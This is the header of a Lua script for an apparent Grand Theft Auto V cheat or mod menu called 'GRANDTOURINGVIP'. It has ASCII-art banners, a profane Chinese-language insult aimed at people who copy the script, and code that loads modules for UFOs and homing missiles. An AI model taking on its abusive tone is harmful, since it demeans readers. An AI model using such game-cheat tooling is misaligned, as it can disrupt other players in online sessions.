--[[
 _________     _________    ________     ________     ________     _________     _________    ________     ________     ________      _________     _________    ________     ________     ________ 
|\   ____ \   |\___  ___\  |\   __  \   |\   __  \   |\   __  \   |\   ____ \   |\___  ___\  |\   __  \   |\   __  \   |\   __  \    |\   ____ \   |\___  ___\  |\   __  \   |\   __  \   |\   __  \
\ \  \___| \  \|___\  \_/  \ \  \|\ /_  \ \  \|\ /_  \ \  \|\ /_  \ \  \___| \  \|___\  \_/  \ \  \|\ /_  \ \  \|\ /_  \ \  \|\ /_   \ \  \___| \  \|___\  \_/  \ \  \|\ /_  \ \  \|\ /_  \ \  \|\ /_
 \ \  \ __  \     \ \  \    \ \   __  \  \ \   __  \  \ \   __  \  \ \  \ __  \     \ \  \    \ \   __  \  \ \   __  \  \ \   __  \   \ \  \ __  \     \ \  \    \ \   __  \  \ \   __  \  \ \   __  \ 
  \ \  \|\ \ \     \ \  \    \ \  \|\  \  \ \  \|\  \  \ \  \|\  \  \ \  \|\ \ \     \ \  \    \ \  \|\  \  \ \  \|\  \  \ \  \|\  \   \ \  \|\ \ \     \ \  \    \ \  \|\  \  \ \  \|\  \  \ \  \|\  \
   \ \________\     \ \__\    \ \_______\  \ \_______\  \ \_______\  \ \________\     \ \__\    \ \_______\  \ \_______\  \ \_______\   \ \________\     \ \__\    \ \_______\  \ \_______\  \ \_______\
    \|________|      \|__|     \|_______|   \|_______|   \|_______|   \|________|      \|__|     \|_______|   \|_______|   \|_______|    \|________|      \|__|     \|_______|   \|_______|   \|_______|
                                                                                                                                                                                                                                    
 _________  ________  ________  ________   ________  ___       ________  _________  _______   ________          ________ ________  ________  _____ ______              _________      _________ 
|\___   ___\\   __  \|\   __  \|\   ___  \|\   ____\|\  \     |\   __  \|\___   ___\\  ___ \ |\   ___ \        |\  _____\\   __  \|\   __  \|\   _ \  _   \           |\    _____\   |\___  ___\  
\|___ \  \_\ \  \|\  \ \  \|\  \ \  \\ \  \ \  \___|\ \  \    \ \  \|\  \|___ \  \_\ \   __/|\ \  \_|\ \       \ \  \__/\ \  \|\  \ \  \|\  \ \  \\\__\ \  \           \ \  \___| \  \|___\  \_/  
     \ \  \ \ \   _  _\ \   __  \ \  \\ \  \ \_____  \ \  \    \ \   __  \   \ \  \ \ \  \_|/_\ \  \ \\ \       \ \   __\\ \   _  _\ \  \\\  \ \  \\|__| \  \           \ \  \ __  \     \ \  \    
      \ \  \ \ \  \\  \\ \  \ \  \ \  \\ \  \|____|\  \ \  \____\ \  \ \  \   \ \  \ \ \  \_|\ \ \  \_\\ \       \ \  \_| \ \  \\  \\ \  \\\  \ \  \    \ \  \           \ \  \|\ \ \     \ \  \    
       \ \__\ \ \__\\ _\\ \__\ \__\ \__\\ \__\____\_\  \ \_______\ \__\ \__\   \ \__\ \ \_______\ \_______\       \ \__\   \ \__\\ _\\ \_______\ \__\    \ \__\           \ \________\     \ \__\    
        \|__|  \|__|\|__|\|__|\|__|\|__| \|__|\_________\|_______|\|__|\|__|    \|__|  \|_______|\|_______|        \|__|    \|__|\|__|\|_______|\|__|     \|__|            \|________|      \|__|  

    ,o888888o.    88888888888888888        ;8      ,8.             88888888888888   b.             8   88888       888
  8888      `88.  88888888888888888       ,88.     ,88.            8 8888           888.           8   88888       888
 8 888        `8.       88888            ,888.     ,888.           8 8888           888o.          8   88888       888
88 888                  88888           .`8888.   .`8888.          8 8888           Y88888o.       8   88888       888
88 888                  88888          ,8.`8888. ,8.`8888.         8 8888           Y`Y888888o.    8   88888       888
88 888     88888        88888         ,8'8.`8888,8^8.`8888.        8 888888888888   8oooYY888888o. 8   88888       888
88 888        88        88888        ,88' `8.`8888' `8.`8888.      8 8888           8`Y8o. `Y88888o8   88888       888
`8 888       .8'        88888       ,88'   `8.`88'   `8.`8888.     8 8888           8   `Y8o. `Y8888   88888       888
 `88888     ,88'        88888      ,88'     `8.8'     `8.`8888.    8 8888           8      `Y8o. `Y8   `8888       8PP
   `888888888'          88888     ,88'       `8        `8.`8888.   8 888888888888   8         `Y8o.3    888888888,dPP
 GRANDTOURINGVIP        88888    ,88'                   `8.`8888.  88888888888888   8            `Yo     `Y88888888P

当你打开这个文件时,这句话送给你:
Ctrl C, Ctrl V, 你丫就一大傻B
GRANDTOURINGVIP 养活你们这群CV党
CV之前想一想, 难道你们有自主生存能力吗
不要靠GRANDTOURINGVIP来养活你们的脚本
累死你们M了个臭B:)~~~




̧̨̡̧̨̢̡̢̞̝̯̙͕̣͇͓̹͉̰͔͓͉̰̫̙̘̠͙̯̹͉̜͎̞̝͎͓̘͓̫͓̥̭̠̟̭̈́̔Ǫ̷̡̡̧̢̧̨͕̯̰͎͈̤͚̳̺̹̺̮̯͍̜̝̮̓͌̐̓͛̈́̌̔̄̎͗̅̓̓̈̎̚͝n̵̙̖͍͚̥̥̟̘̖͔͚̬̙̮̈́͒́̎͌̏͋̍͛͑̈́̀̐̀͊̎́̈́̊̏̓̂͑͋̍̈́͋̌̀̂̾͆̀̈̒̉̈́̾̉̔̐͑̕̚͘͜͠ͅ ̵̨̨̺̖̞̭͖̤̰͍̖̱͖͈̼̥̣̦͍̣̤̙̘̝͓̠͖̹̦̐̍̿̈́͗́̋̀̃̈́͋̃̏͗̚͘̕͜͜͠͝ͅͅT̷̢̧̡͈̺͍̰͕̣̤̟̭̯͎̮͙̤̖͈͈̥͎͍̪̪͉̘̞͖̗̣͔͚̝̲̝̯̲͍͖̯͖̘̘̪̻̘̿́̿͆̑̀̓̂͒̂̀̈́̄͜ǫ̵̛͚͇̻͎̼̬̖͒͌̍̀̔͊͛̔̒̈́́̓̏̈̎̃̏̋͑́̏͐̄̈͌͋͌͒͋́̉̃̇̇̑̀̍͂͠͠p̵̨͚͇̜͍̣̝͓̖̳̞̄̉̏͐̂!̸̢̡̢̨̢̤̣̦̬͍̫͇̰̻͍̯̙̬̤̦̘̲͓̱̦̥̄̽̋̔̑̾̎͒̇͌̑̽͐̕̕͘͝!̷̢̡̛̛͎̖͉͚̭͓̜̩̲͉̜̥͕̞̫̩̜̗͍̺͕̲̪͉̬̩̼̙̖̠̐͂̉̈́͊̒̆̈́̃̈́́̓̇̓̇̋̈́̓̄̅̉̾̋̔̃͌̈́̄̔̎͆̀̕͘̚͝͝ͅ2̴͔͍̻́̉̽̆̎̈́̈́̓̐̈͐̎̀̂̏́̚̕͝S̵̡̧̼͚̭͍̹̗͎̱̖̟͚̖̹͑̐̎͋͛̓̽̏̽̀̽̽̇̓͑̊̋͘̚k̸̛͇̰̗̟̹̮̱̭͉̘̯̈̀̑͐̿͐̈́̀͑͆͋̐̂̽͊͒͗͗̾̏̾̅̒̍̉̆͑͆̿̉̂͒͆̽͋̿̿̃̎̕͘̚̕͘͜͠ĩ̶̧̧̖̩͓̞̺̦͍͙̩̯̘͔̜̮͍͕̘̩͎̣̫̫̘̤̱͓̯̱̝͕͇̩͕̳͕̤̘͈͇͇͎̺̀̔͛̇̽̿̍̑̈͒̄̋̂̓͑͗̈́͒̍̀̑̑́̿̃́̈́͋̑̔̃͛̅̽̃̄̊̀̌̉̕̚͜͠͠͠͝ͅͅͅḑ̶̧̧̢̛̛̦̯̦̹͕͉̯̳͇̞̥̯̦͕̗̫̘͔̤̜̞͕̯̖͓̗̹̫͖̟̫̻̖̳̰͚̟̝̀͌̏̔̿̑͆̉̑̅͗̓̑̓̀͑̊̓̇̆̋͌̀̉́̀̽̏͌̏̑̚̕͜͜͜͠͝1̷̧̨̢̛̲̳͎̭͕̯͇͙̹̹̩͉͍̬̮̫͇̝̗͉̘͈̯͈̼̭̗̥̗͇͙̱̽̆̓̍̋̌̀͌̈́͂̈́̐͌͆́͂̀̊̊̈̾͑̃͛̿̌̄̎̋̇͗̋̽͆̄͘͜͜͝͝͝͠ͅ ̴̧̧̨̛̫̬͓̫̲̘̤̖̝̜͎̮̯̞̖̜͚̹̥͇̖͕̀̉̾̐͊̆̈́́͊͆̈̇͑͐͐̋̋̑̒̓͘̕͜͝Ơ̴̛̛̘̥̘͖̈̄̃̀̌̍̈́̈́̅͒̓̂̄͐́̉̽̅̂͒̄̆̎̐͋̅͐̍̂͛͒̑́͛͛͂͌̈́̉̀͆̚̕͝͠n̷̨̨̛͕̻͙̱͎̞̜̙̟͇̼̹͚̘̝͍̝̩̱͓̭͙̳̘̩͔͉̮͔͍̙͈͈̻̊̇̉͋͆́̽̋̓̕͜ͅ ̴̞̌́͛̍̉̓̓͂̅͆̍̇̑̏́͑̓̒̍̋̋̄̓̇̓̂̅̾̆͛̈́̍̏͊̃̽̄̐̆͘̚͝T̷̨̨̨̡̡̢̛͕̪̱̘̩̩̖̘̯̤͉̪̼̝̺̻̥̞̰̳̻͙̱̮̲̘͕̗͍̿̆̋̈̒̇̈̾̓̉̔̐̈́͂̚͜o̶̡̡̯͙̮͇͉̭̯͎̮͚̪̬͎̹̗̟̗̠̱̩̘̣̞͙̻͊͆͌̋̽̈́̌́̑̂͂͐͋͗̓͝͝p̷̡̢̨̧̛̱͎̗̞͈̖̲̞̞̝̱̻̗̘̞̘̫͙͕͖͉̺̗̟̥̤̫̝̰͙̝̳̻̦̻̻̘̦̳̰̦̤͐̈́͑̆̆̀̿̈́̾̽̐̂̌̈̎̎͋́̿̈̐̈́͒̽͗̄͐̆͊̄̕͘͜͜͝͝!̷͎̭̠̜͙̪̝̟̹̻͇̳̹̆̎͐̐́̈́̐̒̉̈́̄̄̾́̓̄̌́̌̿͗͋̑̅̍͋̇̈́͘̕̚̕̕͜ͅ!̴̢̡̨̗͚͔͍̖̥̭̯̦̹̰͕̙̼̊̆̒̈́͊̋̍̂͋̎́̾̔̒̈́́̈͗̌̍̚͜͝2̸̡̨̧̨̢̛͇͇̗̻̱̞̤̳̱̦̲̻̣̥̗̠̹͎̝̳̰͇̻̤͋̑͗̈̆͋̒͋̀̍̃͋͐̾̽̊͊̔̈́̋͘̕͜ͅŞ̴̧̧̨͈̥̹͙͇̜̙̩̰̟̙͖̥͚͓̫͓͚̼̭̩̂̔͋̾̎̓̕͠͝ͅk̷̡̨̨̜̦͎̙̬͙̝̰̹̳̦͙̠͉̥̣̩͓̾̾̈́͑̀̔͐̈́͛̅̋̿̊͋̍̓͋͠i̶̢̢̡̡̩̖͎̠̗͔͓̝͖̗͖̹̬̭̯̗̙͈͕̯̬̺̙̗̺͍͙̙͉̗̽̈́̓́̊̊̇̍̍̐͛̉̋̆̈́͜͠d̵̙̖̪̭̂͗̓̏͗̐̒̒̽̓͋͊͋̋̒͂̔̑̔͊̂́͆̈́͗̌͐̆͋̄̔̈̕͘̚͠ͅ1̷̢̦͖̘̟̯̘͉̼͇͙̜͊͆̽͋͋̓̎͌͑̓̅́̓̌̊̇̂͒́́̃̀́̈́̍͐͌̂̏́̎̿̉͗̈́͐̏̉͘̚͜͝͝͝͠͝͝ ̸̨̟̜͚̣̘͈̳̠̖͖̜̪̠͚͕̣̠͙̫̎̋Ǫ̶̛͚̙̺̘̦̺̞̣̼͕͒̏͆͌͆̽̒̓͑́̅̓̆͆̒̆̓̇͐͊̉̃n̴̡̡̻̮̺̩̣̥̰̦̳̘̯̞͓̗͉̱̳̞̞͍͈̼͇̯̎͌̄̍̐̄̾̂̃͌͛̏̿̅̑͘̕ ̸̢̛̛̛͍͓̤̼͕̖̝̺̭̟͖̞͍͖͙̜͛̓̿̈͗̍̈͛̐̈́͆̋͒̃̔̔͋͛̇͐̒́̔̈́͐̈́̆̇̊̏́̉̈́̽́̔͘̕̕̕͝Ţ̷̡̳̮͚̞͉͕͕̯͓͚͎̹͙͇̤̫͕͈͕̖͔̬̲̘̀̂́͋́̈̓̿͐̂̋̎̃̃͐̌̓͑̽̏́̔͋̑̾̈̽̈̇͑̕͝͝͝ǫ̶̛̛̲̲̹̳̙̤͓̣̼̘̟̩̋͂͑̂́̀̊̌͆̽̏͆͌̅̌̎̉͌̒͒́̍̔̀̓͂̏̌͒̏̓͐̂̽̿̍̽̚͘͠p̴̡̦̗͍̯͈̱̬̼͋̏̾̀̑̎͑̊͊̈̍̐̈́̓̅́̚̕͘͝͠!̷̨̨̨̧̡̢̢̛̛͓̤͎̖̯̦̣͍͙͈̱̖͚̼͍̳͚͚̟͔̻̳̣̝̗̙̪̘͈̙͔̬͖̜̤̠̅̈̍́͑͊̽̈́̀͊̊̿̅͂̒̈̀͑́̀̐̒̐̉̈́͗́̉̒͐̿́̓͑͘͘̚͘͝͝͝͝͝!̶̧̨̧̘͎̠͍͍̖̫̤̱̖͇͚͖̬̗̗͍͓̳͈͙̞̯͙͙̰̦̺̗̰̩̟̹͔̦̳̮̈̓͊́́̎͒̃͐̓̉̔́̑́̒̀͋̉̌̋̅͜͜2̵̧̢̨̨̹̹͔͖̱͙̯͕̝̠͙̱̱̦̜͎̜̖͖̪͈͚̟̞̗̟̥̦̭̠̟̺̐͗͛̃̓̈́͛̕͜͝S̴̨̡̢̨̖̜̟̙̮̠̩̗̩̖̙̗͔͓͓̮̤̮̼̪̜͙̖͕̣͖͍̳̖̞̙̰͚͖͙̜̝̫̠͓̽͐̄̿̏̈͜ͅḵ̵̢̛̪̣͕̦̣̩̞̳͚̲̦̰̟̩̺̊͆̌̑̓͌̽̉̒͒̀̾̆͛̆͗̑̉̐̆̈́̐̋͂̏͂̈́͋̀̓̓̇̅̄́̐͗̈́͘͘̕͜͠͠͝͝͠͝͝͠į̶̡̥̮̗͈̮̺̠̮͓͙̺̯̥̭̗̭̰͇̠̃͊̀̈́́̊̆͋͊̔̐̐̄̌͌̓͊̾̒̔̂̆͘̕͘̚̕͝͝ḑ̵̧̛͇̟̮͇̦̝͑̊̏̔̆̍̋̍͋̈́͂̂̒͋͊̈̀̈́͑͂̃̄̓̈́̊͑̄̆̈̒̌̾̓̓̾͋1̵̨̗̜͇̮͖̩̺̬͉͕̟̦̠͙͕̜̽̈͐̈̍̄͆̆̂͂͂̀̋̑͑̑̀̿̽́̈́̂̚͠͠͠ ̷̧̢̢̡̧̜̦͇͔͔̪̮͔̞̠̣̟̺̫͓̤̣̼͚͍̹̖̘̰̰̗̰͕͚͔̬̲͕̠͇͋̈́́͐̾̚͜ͅƠ̸̛̻̮͙̪̝̜̫̻͚̖͗͛̓͂̇̀͋́̓̇͗͌̅̅̈̂̍͒͐̀̒͒͌̄̅͌̽̈́̽̊̀͆͂̀̀̓̕ṉ̸̨̡̪͕̱̟̘̫̯̬̳̪̦͈̲̙͈̪̯́̐̇͌̊͒̎̉̏̈́͛̂̏̋̔͜ͅͅ ̸̭̦̦̭̬̯̪̥̦͈͔̪͈̻̳͐͐̌͊ͅT̶͙̖͕̬̬̈̍͐̿͒̅͋̊̽̏̉̊́̇̅̅̎͌̋̏͊̓̓̈́̌́̕͝͝͝͝͝ò̷̧̻͑̅͑̍̅̈́̇͂͆͌̈́̽̿̂̚͝͝͠͝ͅͅp̴͚̥̬̯̳̜̬͎̪͎̤̥̯̙̙̀̒̈́͌͗̓̑͗̍́̉̈́̚!̶̧̣̞͉̜̪̦̖̰̳̝̼̳̟̻̬̂̐̉̿͆̒͛̒̋̒̌̊̀̀͂̂́̎͜͝͝!̸̢̨̪̠̻̙͙̜̮͙̱̖͖̳͈̩̹̭͔̝̞͚̲̯͓̥̰͎̩̪̒͐̋͗̃̀̈́̌̈́̅̉̎̿̆͆̏͂̄͊͒̄́͂̈̓̏̇̉́̋̀̕͘͘͘̚̕͜͝͝͠͝ͅ2̵̡̢̣̠̪̟̩̘̙̯̜̗̺̼̦̠̟̞̥̥̯̫̣͔͔̝̗̰̭̩͈̗̅͋̒̉͊͒̔̈̑̾͗͒̋̋́͛̒̌͛̒͆̇̽̀̒͒̏͂̄̇̓̌̿̒̌̈́̈́͊̚͝͝ͅṢ̸̢̢̛̹͇͖̬̩̪̮̖̜̜͈̯̮̪͕̺̞̟͔̰̼̥̆̌̐̂̒͛͆͆̃̅̓͐̅̐̒̃̒̒̀̊̐̓̈́̊̽͒͌̈́̽͑͛́̂̉̚̕̕͘̚͜͠͠ͅk̴̟̓͋̿̔́̀̌͆̋̍̈́̇̅̑͑́͠ĩ̴̧͈̘̺̺̚͜ḑ̶̨̛̬͉̯̝̻̤͉̣̳̳̖͓̼̳̝͕̤̩̞̩͍͓̐̆̀̿̆̓̆̀́͌̏͑̅͛͌̚͘̕͜͠͝1̸̛̤͙̠̻̜̗̠̩̪̳̱̰̩̮͎̩̙͗͊̓͛̑̋̋̈́͌͒̂̍̆͆̃̅͐̓̊̓͐̑̊͒̽̋̉̏̆͌͂̏̅͐̀̏̐̊̋̚̕̕̚͘͜͜͠͠ ̵̬̻̼͔̝̼͎͓͐̔̇̓͆̀͒̉̊̓͌̿̋̏̏̈́́̈́̒̐̌̃͂̇̽͂͗͐̇̐̾̋̾̽̄̕͘̚͝͝͝O̸̧̧̡̢̡͕̻̖̫̠̰̰̫̳̱̲̱̺̻̠̭͓̻͓̞̦̖͚̲͇͕̗̘̘̅̃̀̋̄̋̑͛͋̎͂̾̾͋̉̑̀͜͜͝ñ̸̡̧̛͈̣̟͈͍̺͚̣̬͎̣͉̤̮̩͔̳͍̞͛̓̋̀͒̅̓́̉͑̊̂̂̇̏͋͑̀͊̇̒̑͊͊͌̾͐͊̈́͒̌̓̕͜͝ ̸̢̛̞̣̥̩͎̥̠̹͉̳̘̩͎͍̠̺̠̦̰͚̤̣̖̤̰͈̣̈́̉̃̂̇̀͊͆̅͐̑̄͂̈͑͒̈͂͊̀̂̆̄̒͊̀̿̓̕͘̕͜͝͝͝T̶̢̛̥̠̰̳̫̟̬̯̰͙̖̟͎͉͇͔͕͔͕͓̜͇̞͖̥̤̘͚͇̣̳̙̹̈́͐̓̌̽̈́͑̏̄̔̋̈̇͆̂̇́̅͜͠͝ͅͅo̷̧̡͈̱̤͍͍̻̠̳͕̖͉͕͇̙͓̪̜͚̲̫͊̅̏̄̆̅̔͑̽̓̎̐̎̉͜͝p̷̺̱̏̄͐͆̒͒̃͑͗͆̈̐̊̈́͐̀́̃̀̉̈̃̽̈́̂̄̀́̎̓̀̆̌͂̕͝!̴̢̧̨̡̡̳͍̼̥̲̜̼̪̬̣̩̫̲͈̥̞͙̮̮̘̭͖͍͇͛̉̓̓͐̐̄̃̀͒̎̉̑̒̇̓̃͗͑͒̔̽̆̈́͆̓̇͛̍̕͜͠ͅͅ!̶̧̨̛̮͓͆͊̿̈́̇̈͊̔̄̑͋͊̍̒̐̈́̑̋̈́̑̈́̑̚̕̕͝2̴̨̠̰̼͗̑͆̓̃͂̂́̑̾͐̂͗̈́̎̋̽̀͂͂̂̏̑̒͛̓́͗̽͋͆́̑̈́̉͘͝S̷̨̨̨̢̧̢̛̹̼͎̼̟̣̲̥͕͔̱͉̲͔̭̳̭͖͈̻̬͙̱̣͙̭̣̫͓͍̯̞̐̎͒̀̈́̒͌̀͋́́̀̌̉͆̅̓̒͊̊̄̈́͑̂̍̔̽͆̊̑̍̊́̃̾̌͂̿̆͆̿͘̚͘̕͜͠͝k̶̡̢̧̡̨̥̱̫͇͍̜̫̥̹̤̗̬̼̭̣̘̜̰̞̤̬̘̲͍̤̱̺͎͚̯̣̠͇̣̘̰̟̗̥̝̪̋̇͂͊̆̐̄͗̍̍̋̿̓̌͑̋̀͂̐̇̈́́͐͂͐͗̅̍͂̄̑͘͘͜͜͝͝͝͝͝i̵̧̨̨̢̫̝̜͔͙̳̭͓̬͙̻͈̘̥̬̫̬͇̝̼͇͋̀́̀́̽̈́̔͛̎̑̆͌̐̍̎̓̂͂̈́̆̃̈́͂̇̿͂̈́͘̕͠͝d̶̛͕̗̮̣͎̩͓͉̜̮̆͑̄͂͐͐̔̄̔̊́̓̊̂̽͆̋͘͘̕͠ͅ1̶̧̱̠̎ ̶̡̨̨̤͔̙̮̬̳̺̫̬͔͖̬͖̤̳̲̠̫̭̭̫͚̮̬̖̰͖̟͚̠̺̠͇͉̤͉͉̜̰̭̲̮́͊̽́̎͌̈̉̋͑͗̕͘̕͜͠͝ͅǪ̶̗͗̍͗̀̋͗̓̈́̅̄̎̕̕͜n̶̢̨̨͖̱̘̲̗̭̯̼͈͚̹̤͔̘̲̰̝̤̞̬̦͙͙̓ ̷̨̛̗͍͓̠͉̻̣̱̭͕̯͎̪̼̱͎̤͎͍̟̮̥̮̿͗͊̾̇̈́̃̈́̌̈́̒͂͗̇̿͋͗͊̀̓T̷̡̧̡̢̧̢̧̡̨̛͚̞̫̦͈̖̠̤̯͇͈̭̣̻̪̖̲͔͙͕̩̬̣̳͚̭͉̮̰̩̥̘̱̰͉̝̩̜͙̤̠͌͂̀͌́̒̌́̌̈́̔̄͊̎̏̾̏̈́̂̀́͆̓̀̈́͆̀̀̾͗͛̈̀̏̊̀͘͝͠o̸̤̱̖͇̭̻̾͂̊͋̑̃̎́́̆̂̑̓́̑́̊̒̿͊̈́̃͝͝͠p̵̨̨̛̛̮̤̬͙̺̦̥͕̣̜̺͓͕̜͍̖͎͖̜̝͖̼̗̍́͋̃̉͋͒̉͋̓̃͐̎́̔̀͂̓̈̔͒̊̒͒̅́̓̈̐͂̏̇̌̚̚͝͝ͅ!̶̲̣̩̰̺̙̬̌̉͑̿̈́̌͐̀͌͑̕!̷̛̯̝̠̝̯̟̻͂͆̽͛̋̋̊̂̃̿̾̿̓́͂̋̿̂̈́̒̿͐̐̈͊̍̾̈́̃̀̀̉̓̆̈̎͘̚̕̚̚̕͜͠͝͝͠͝͝2̴̨̢̢̛̛̬̖̘̭̦̭̬̼͓̳̙̪̘̬͖̠͇̟̥̰̖͖͙̖̗̞̺͔̦͕̼̾̆́͌̔͊̌̂̍͛̋̀͆́͒̃̈́͛͂́̓̃̋̅̒͆͌̀̾̊̉̈́̃̎͘͠ͅS̵̺͑̆͋̔̍̌̋̂͋̀̈̆̆͋̑̈͝ḳ̸̼̩̩̮̥͋͗̔͛́̽͂̾͆͗͆̅̐̈̅̊̓̈́͒̍̽̑̀́̈́͆̄̈́̅̋̈́̓̈́̑̐̋́͒̓͒̈̚͘̕͝͠ỉ̸̡͖̠͙̣̰̯̫̠̻͍̞̩͖̬͖̿́́͛͗̋̒͂̊̉̿̚̚͝ͅď̶̢̡̢̪͈̬̙̺̳̜͈̼̝̮͈̹̪̞̲̫̬̪̪̫̤̳̼̩̫̑̈́̑̍̓͊͐͐̇͐̚͝͠ͅ1̵̧̧̤̲͍̝͉͓̥̦͉͔̰̝̣̙̗̫̻̬̝̖̠͕͓̖͊͐̀̈́͌͌̌̊̄͜͜ͅͅ ̴̡̧̧͖͇̦͍̩̳̝̩̖͓̙̺͔̱̭̩̜͔̙̼͕̩̺̣͚̞̥͖̝̮͍͔̝̪͖͉̐̽̉͝ͅͅǪ̴̨̨̱͇͍͔̖͇̤͇͖̯͚̭̝̥̗̠̙͓͉̼̰͉̠̻͍̮̺͇͕̖̌̉̌̓͋̒͌̐͑́͌̓͒̀̾̈́̓̓̏͂̿̒̽̄͋̃̾͌͂̈͋̄͒̉̅͐͘͜͜͠n̵̢̡̢̧̛̠̖̙̹͇̩̥̖̹͙̦̞͓͖͍͍̝̰̦͔̙̩̲͖̤̘̙͖̺͉͔̦̯̗̆̊̎͆̀͌͆̐̀̂͊̂̔̈́͑̅̊̎͆̈͌͛̽̒̄̏̚͘͝͝ ̷̧̡̛͈̭͓̫̮̠͙͙̞̬̙̫͇̯͉͙̣͚̜͚͔̪̻̟̗͕̤͇̰̟̟̯͙̥̀̇̋̌̀̈́̂̉̔͜T̴̢̧̛̬̦̮̰̜͕̯̘̫̲̜͙̩̜̤̠̭̮̩̲̜̘͚̙̱̱̣̗̣̮̙̲̩̏̽͑̅͆̍͋̑́̄͘͜ͅͅò̴̜̥͌̒̆̊͊ṕ̵̜̻̟͓̗͔̗͗̀̔̅̒͌͒̽̿̊̇̒͑͂͛̀̈́̋̍͛!̷̛̫́̀̀̍̋̒̆́̈͊͐̂̄̈́̃̂̂̆̄̋̓́̓̾͂̍̏̑̅͂͐́͑͠͠͝͝͝!̵̛̥̝͇̳̯̉͂̾́͋̈̎̀͐͛̊̀̉́͆̔́̎̑̎͒̈̽́̍̌́̎́͋́̍̀̃̓̔̌͘̚̕̚͝͝͠͠͠͠2̸̡̻͇̖͖̭̜͈̥̘̣̱͓̪̱̺̰͈̪̼̝̣̳̺͔̲̼͎̗̩̼͍̼̒́̏̈́̓͂͂̽́̐̔̍́̉̇̒͑͌͘͘͜͝͝S̶̢̡̡̢̨̡̳͖͇̺̻̤͔͈̦̭̗͕͈̲̱͉̺͎̖̭̖̪̰̪͇̦͚̥͖̜͎̻͈̫̋́͐͘͜k̴̡̧̡̨̛̛͕̠͙̼̻͚̻̳̗͇͇̥͍̖̦̣͙͇̗̜̝̤̬̮̱̺̩͍̓͋̿̈́̄̽̀̓̉̆̽̀̈́̅̀́̐͂͑͌͒̐́̀̉̽̒̊̔͊̒̽͆̊̔̿̃̕̚̕͘͝͝͝͠͠ͅi̵̡͕̣̯̰͍̟̤̿͌́̈́̈͐͊̐͊̐͒́̓̔̊͗͋͑́͝͠͠ḑ̴̨͈̋̑́̾̾̊͂̆͛̀̏͋̇̇̄̈́̈́̌͋̆̍̏̀͗͗̈́1̴̢̨̢̧̡̛̛͙̟̩̗̘̪͖̪͇͎͎̙̤̤̯̟̭̪̣̖̰͔̜̝̟͇̘̝͙̙͖̹̩̯̉̓̇͐̾̎͑̂̔̋̄̐̂̇͛̓̈̒̿̐̒̊̀̋̂̄́̚͘̕͜͜͠͝͠͠ͅͅ ̸̱̮̣͔̥͌̋̀͛̃̊Ǫ̷̡̛͔̼̥͎̟̦̤͎̙̖̰̞̜͉̙̥̻̬̠̮͚̟̘̲͇̞͎̗̪̱̲͔̰͖̮̻͍̜͓̮̃̏̐͗̇͂͗͐̄̂̅͌̈́͆̾̃͒͗͗̈́̄̃̚͘̕͜n̸̡̛͓͚̦͈̰̮̲͇̺͓̘͚̻̥̗͉̹̓͛́̈́̀̅̾̍̒̏̉̍̄̐̉̽̓͋̐͆͘͘̕͘̕͠͝͝ͅͅ ̶̢̧̢̨͔̞̥̗̠͈̺̮̥̥̹̤̺̱̦̪͔͙̖̱̻̦̪̻͚͖͔͎͙͌̆̓̓̂̔̅͊͗͗͒̚͜͝͠͠ͅT̴̲̼̹̱̰̟͕̰̘̊̐͐̽͋́̋͐́̊͊̍͆͒̾̚ơ̷̡̙̲̯̫͓̣͔̮͎̣̘͎͔͓̦͉̑͛͗́̈́̋͛̄̽͗͛̀̌͊̾̂͑̊̾͗̐͗͋̈̂́̍͌̃̀̀̚̕̕̕͝p̸̨͔͕͖͚̪̥̺̦͔̙̟͙̻̬̪̥̝͔̬̼̗̲͍̮͚̜̞͖̳̣̆̇̈́̂̑̉̈́̀̃́́̈́̐̄̇̂̉͌̓̈́́̕̚!̸̡̢̡̨̢̛̛̯̹̺̹͚̜̹̫͇͈͇̙̖͖͇̞̳̮̱͚͓͖̮̹͇̙̩͚̱̙̘̝̳͚̝̞͓͔̩̫̬̭̩̥͊̐̌̊͌̂̌͊̄̅̅̿̽̔̀͋̑͐̔͘͘͠!̸̨̨̲̼͍͕̼̖̺̜̜̻̫̭̬̺̻̯̰̮̞̮͋̐̆͆͐̒̈́̑͑̾̔͐͌̈́̌̀͑̆̓̏͒̅͒̇̒̎̀̾̇̇͂̅̔̕̕̕̕͠͠ͅ2̵̡͔̳̣̮̦̜̞̗̯̬̜͕̩̩̭̩̬̘͎̣̬͍͕̤̩̯̺̞̹̱̻̭̪̥̣̲̠͍͎̤̬̎̑͆̽̀͌̔̍͂͂̊͘͜ͅS̷̡̧̡͔̼̣̺̤̹̜͚͙̣̣̗͊͛͑͊̒̾̈́̊͒̽̀̐̂̋̋̄̃̇̎̀̓̌͂̈́̏͌̕͠͝͝k̶̨̧̥̺͓͎͖̲͉̣͖̫̏̈̏̂̇͗͒̀̑̈́̾̈́̽͒̚̕̚͘͝͝į̶̡̢̨͙̰̱̰̗̝͙̣̻̦̦̩͔͚̲̮͖͔͚̩͉͚̤̻͉͙̞͈͕͈̯͙͖̥͕͚̻͖͖̭͕̟͕̾͛͂̑̌̽̎̈̿͗̀̅͛̀̂̊̑́͐͂̓̆͛̅͛͆̀͌͋͑͘̚̚͠͠͠͠͝d̷̠͙̠̜̥͉͕̣͖̺͖͈̘̤̹͉̯̮̳̘͉̎̐̓̒͂͊̈͛̈͒̚1̴̧̨̛͔̼͖̲̠͇̖̦̻̜̮̟̥͙͗̋̇̆̄̉̓͐͆͌̊͐̾̇̑͌͂͊̿̚͘͠ͅ ̶̳͈̥͎̘̰̫̗̣͈͍̺̲͚̲́̐̋̄̎̍̅͊̇̚ͅƠ̷͌̈̆̍̊̊̐̎̍͑́͌́͋̆̓̿͌̅̚





GRANDTOURINGVIP™ Copyright© 2023
Developing by GT & Respect
All rights reserved.]]
require "lib.GTSCRIPTS.G"
require "lib.GTSCRIPTS.V"
require "lib.GTSCRIPTS.O" 
require "lib.GTSCRIPTS.W" 
require ('lib/GTSCRIPTS/T')
require "lib.GTSCRIPTS.GTC.logo.GLogo" 
K = require 'lib.GTSCRIPTS.K'
local scaleForm = require'lib.GTSCRIPTS.Z'
local SFasd = scaleForm('instructional_buttons')
local UFO = require "lib.GTSCRIPTS.U"
local HomingMissiles = require "lib.GTSCRIPTS.H"
local GuidedMissile = require "lib.GTSCRIPTS.M"
local logo = directx.create_texture(filesystem.scripts_dir() .. '/GTLuaScript/' .. 'GT2.png')

festive_div = GTD(G, "GRANDTOURINGVIP")
util.create_tick_handler(function()
for _, frame in pairs(loading_frames) do
GTluaScript.set_menu_name(festive_div, frame .. ' ')
wait(100)
end
end)

menu.trigger_commands("nodailyexpenses off")
--主菜单与UI
changelogs = GTLP(G, "[更新日志]", {}, "", function ()
    updatelogs()
end)
